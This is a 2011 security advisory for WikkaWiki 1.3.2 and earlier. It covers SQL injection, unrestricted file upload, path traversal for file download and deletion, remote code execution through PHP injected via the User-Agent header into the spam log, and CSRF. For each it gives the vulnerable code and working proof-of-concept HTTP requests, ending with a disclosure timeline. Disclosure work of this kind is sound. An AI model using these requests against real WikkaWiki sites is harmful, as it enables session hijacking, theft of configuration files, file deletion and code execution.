Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:27391
HistoryDec 04, 2011 - 12:00 a.m.

WikkaWiki <= 1.3.2 Multiple Security Vulnerabilities

2011-12-0400:00:00
vulners.com
44779

WikkaWiki <= 1.3.2 Multiple Security Vulnerabilities

author…: Egidio Romano aka EgiX
mail…: n0b0d13s[at]gmail[dot]com
software link…: http://wikkawiki.org/

±--------------------------------------------------+
| SQL Injection in UPDATE statement (CVE-2011-4448) |
±--------------------------------------------------+

The vulnerable code is located in /actions/usersettings/usersettings.php

  1.        default: // input is valid
    
  2.        $this-&gt;Query&#40;&quot;
    
  3.            UPDATE &quot;.$this-&gt;GetConfigValue&#40;&#39;table_prefix&#39;&#41;.&quot;users
    
  4.            SET email = &#39;&quot;.mysql_real_escape_string&#40;$email&#41;.&quot;&#39;,
    
  5.                doubleclickedit = &#39;&quot;.mysql_real_escape_string&#40;$doubleclickedit&#41;.&quot;&#39;,
    
  6.                show_comments = &#39;&quot;.mysql_real_escape_string&#40;$show_comments&#41;.&quot;&#39;,
    
  7.                default_comment_display = &#39;&quot;.$default_comment_display.&quot;&#39;,
    
  8.                revisioncount = &quot;.$revisioncount.&quot;,
    
  9.                changescount = &quot;.$changescount.&quot;,
    
  10.                theme = &#39;&quot;.mysql_real_escape_string&#40;$usertheme&#41;.&quot;&#39;                
    
  11.            WHERE name = &#39;&quot;.$user[&#39;name&#39;].&quot;&#39;
    
  12.            LIMIT 1&quot;
    
  13.            &#41;;
    

When handling 'update' action, 'default_comment_display' is the only parameter that isn't sanitized with
mysql_real_escape_string(), this can be exploited to inject arbitrary SQL code. Because of this is a multiple
lines query and latest version of MySQL doesn't allow to start comment with /* no followed by a */, sometimes
It's impossible to alter the 'users' table content for e.g. changing the admin's password, but is still
possible to inject a subquery to fetch for e.g. the session id of admin for a Session Hijacking attack.
This is a proof of concept request:

POST /wikka/UserSettings HTTP/1.1
Host: localhost
Cookie: 96522b217a86eca82f6d72ef88c4c7f4=c3u94bo2csludij3v18787i4p6
Content-Length: 140
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive

action=update&email=test%40test.com&default_comment_display=',email=(SELECT sessionid FROM wikka_sessions WHERE userid='WikiAdmin'),theme='

If admin is currently logged in, attacker will see his session id in the email field of 'UserSettings' form.
If admin doesn't explicitly logout (for e.g. close the browser before click on 'Logout' link) his session
remains however stored into DB, so this attack could success also if admin isn't currently logged in.
Successful exploitation no needs magic_quotes_gpc = off because of 'magicQuotesWorkaround' function.

±-----------------------------------------+
| Unrestricted File Upload (CVE-2011-4449) |
±-----------------------------------------+

The vulnerable code is located in /actions/files/files.php

  1.        elseif &#40;preg_match&#40;&#39;/.+&#92;.&#40;&#39;.$allowed_extensions.&#39;&#41;$/i&#39;, $_FILES[&#39;file&#39;][&#39;name&#39;]&#41;&#41;
    
  2.        {
    
  3.            $strippedname = str_replace&#40;&#39;&#92;&#39;&#39;, &#39;&#39;, $_FILES[&#39;file&#39;][&#39;name&#39;]&#41;;
    
  4.            $strippedname = rawurlencode&#40;$strippedname&#41;;
    
  5.            $strippedname = stripslashes&#40;$strippedname&#41;;
    
  6.            $destfile = $upload_path.DIRECTORY_SEPARATOR.$strippedname; #89
    
  7.            if &#40;!file_exists&#40;$destfile&#41;&#41;
    
  8.            {
    
  9.                if &#40;move_uploaded_file&#40;$_FILES[&#39;file&#39;][&#39;tmp_name&#39;], $destfile&#41;&#41;
    
  10.                {
    
  11.                    $notification_msg = T_&#40;&quot;File was successfully uploaded.&quot;&#41;;
    
  12.                }
    

If 'INTRANET_MODE' is explicitly enabled or if an attacker conduct a successful Session Hijacking attack
using the first vulnerability, It's possible to upload files that contains multiple extensions due to
insufficient input sanitization at line 266. Now look at $allowed_extensions variable definition:

'gif|jpeg|jpg|jpe|png|doc|xls|csv|ppt|ppz|pps|pot|pdf|asc|txt|zip|gtar|gz|bz2|tar|rar|vpp|mpp|vsd|mm|htm|html'

It contains some extensions (e.g. mm, vpp…) that are rare to see in a MIME type Apache configuration
setting, and this could lead to execution of arbitrary PHP code. Proof of concept upload request:

POST /wikka/test HTTP/1.1
Host: localhost
Cookie: 96522b217a86eca82f6d72ef88c4c7f4=upjhsdd5rtc0ib55gv36l0jdt3
Content-Length: 251
Content-Type: multipart/form-data; boundary=--------1503534127
Connection: keep-alive

----------1503534127
Content-Disposition: form-data; name="file"; filename="test.php.mm"
Content-Type: application/octet-stream

<?php phpinfo(); ?>
----------1503534127
Content-Disposition: form-data; name="upload"

Upload
----------1503534127–

Where 'test' is a page containing the {{files}} action.

±--------------------------------------------------------------------+
| Arbitrary File Download and Arbitrary File Deletion (CVE-2011-4450) |
±--------------------------------------------------------------------+

The vulnerable code is located in /handlers/files.xml/files.xml.php

  1. $file = $this->GetSafeVar('file', 'get');
  2. if ('.' == $file{0})
  3. {
  4.    $this-&gt;Redirect&#40;$this-&gt;Href&#40;&#41;, T_&#40;&quot;Sorry, files of this type are not allowed.&quot;&#41;&#41;;
    
  5. }
  6. // do the action
  7. $action = $this->GetSafeVar('action', 'get');
  8. switch ($action) # #312
  9. {
  10.    // @@@ shared download code
    
  11.    case &#39;download&#39;:
    
  12.        header&#40;&#39;Accept-Ranges: bytes&#39;&#41;;
    
  13.        $_GET[&#39;file&#39;] = basename&#40;$file&#41;; # #312
    
  14.        $path = $upload_path.DIRECTORY_SEPARATOR.$file;    # #89, #312
    

…

  1.        $fp = fopen&#40;$path, &#39;rb&#39;&#41;;
    
  2.        while &#40;!feof&#40;$fp&#41;&#41;
    
  3.        {
    
  4.            $data = fread&#40;$fp, 4096&#41;;
    
  5.            echo $data;
    
  6.        }
    
  7.        fclose&#40;$fp&#41;;
    
  8.        exit&#40;&#41;;
    
  9.    case &#39;delete&#39;:
    
  10.        if &#40;$this-&gt;IsAdmin&#40;&#41; &amp;&amp; FALSE===empty&#40;$file&#41; &amp;&amp; T_&#40;&quot;File deleted&quot;&#41; == $_SESSION[&#39;redirectmessage&#39;]&#41;
    
  11.        {
    
  12.            $delete_success = @unlink&#40;$upload_path.DIRECTORY_SEPARATOR.$file&#41;; # #89, #312
    

The only check of the user supplied filename is done at line 54, if the filename start with a dot It's
rejected otherwise It's accepted. But this isn't an efficiently countermeasure against Path Traversal
attacks, infact an attacker could request an URL like this:

http://localhost/wikka/test/files.xml?action=download&amp;file=/../../wikka.config.php

to download for e.g. the configuration file (note that 'test' is a page containing the {{files}} action,
but attachments aren't required for download or delete arbitrary files) Similarly, if an attacker conduct
a successful Session Hijacking attack using the first vulnerability, once he could send this POST request:

POST /wikka/test HTTP/1.1
Host: localhost
Cookie: 96522b217a86eca82f6d72ef88c4c7f4=2nobpqp3a1bsf3j1ccl0stj6l6
Content-Length: 16
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive

file_to_delete=1

to set $_SESSION['redirectmessage'] and after he could request an URL like this to delete arbitrary files:

http://localhost/wikka/test/files.xml?action=delete&amp;file=/../../.htaccess

±--------------------------------------+
| Remote Code Execution (CVE-2011-4451) |
±--------------------------------------+

The vulnerable code is located in logSpam() function defined into /libs/Wakka.class.php

  1. function logSpam&#40;$type,$tag,$body,$reason,$urlcount,$user=&#39;&#39;,$time=&#39;&#39;&#41;
    
  2. {
    
  3.    // set path
    
  4.    $spamlogpath = &#40;isset&#40;$this-&gt;config[&#39;spamlog_path&#39;]&#41;&#41; ? $this-&gt;config[&#39;spamlog_path&#39;] : DEF_SPAMLOG_PATH;    # @@@ make function
    
  5.    // gather data
    
  6.    if &#40;$user == &#39;&#39;&#41;
    
  7.    {
    
  8.        $user = $this-&gt;GetUserName&#40;&#41;;                    # defaults to REMOTE_HOST to domain for anonymous user
    
  9.    }
    
  10.    if &#40;$time == &#39;&#39;&#41;
    
  11.    {
    
  12.        $time = date&#40;&#39;Y-m-d H:i:s&#39;&#41;;                    # current date/time
    
  13.    }
    
  14.    if &#40;preg_match&#40;&#39;/^mass delete/&#39;,$reason&#41;&#41;            # @@@ i18n
    
  15.    {
    
  16.        $originip = &#39;0.0.0.0&#39;;                            # don&#39;t record deleter&#39;s IP address!
    
  17.    }
    
  18.    else
    
  19.    {
    
  20.        $originip = $_SERVER[&#39;REMOTE_ADDR&#39;];
    
  21.    }
    
  22.    $ua        = &#40;isset&#40;$_SERVER[&#39;HTTP_USER_AGENT&#39;]&#41;&#41; ? &#39;[&#39;.$_SERVER[&#39;HTTP_USER_AGENT&#39;].&#39;]&#39; : &#39;[?]&#39;;
    
  23.    $body        = trim&#40;$body&#41;;
    
  24.    $sig        = SPAMLOG_SIG.&#39; &#39;.$type.&#39; &#39;.$time.&#39; &#39;.$tag.&#39; - &#39;.$originip.&#39; - &#39;.$user.&#39; &#39;.$ua.&#39; - &#39;.$reason.&#39; - &#39;.$urlcount.&quot;&#92;n&quot;;
    
  25.    $content    = $sig.$body.&quot;&#92;n&#92;n&quot;;
    
  26.    // add data to log            @@@ use appendFile
    
  27.    return $this-&gt;appendFile&#40;$spamlogpath,$content&#41;;    # nr. of bytes written if successful, FALSE otherwise
    
  28. }

If 'spam_logging' option is enabled, an attacker could be able to inject arbitrary PHP code into 'spamlog_path'
file (that by default is './spamlog.txt.php') through $_SERVER['HTTP_USER_AGENT'] variable. Proof of concept:

POST /wikka/test/addcomment HTTP/1.1
Host: localhost
Cookie: 96522b217a86eca82f6d72ef88c4c7f4=6l11flsnvef642oajav0ufnp83
User-Agent: <?php phpinfo(); ?>
Content-Length: 27
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive

body=foo&submit=Add+Comment

±-------------------------------------------+
| Cross-Site Request Forgery (CVE-2011-4452) |
±-------------------------------------------+

CSRF attacks countermeasures aren't properly implemented, so an attacker could
be able to create a malicious page containing an {{image}} action like this:

{{image url="http://localhost/wikka/AdminUsers?user=TestUser&amp;action=delete&quot;}}

When the admin will visit this page, the 'TestUser' account will be deleted.

[-] Disclosure timeline:

[07/10/2011] - Vulnerabilities discovered
[09/10/2011] - Issues reported to http://wush.net/trac/wikka/ticket/1097
[10/10/2011] - RCE and CSRF vulnerabilities discovered
[11/10/2011] - RCE and CSRF vulnerabilities reported to http://wush.net/trac/wikka/ticket/1098
[27/10/2011] - I've provided possible bug fixes to vendor
[28/11/2011] - After seven weeks still no fix released
[30/11/2011] - Public disclosure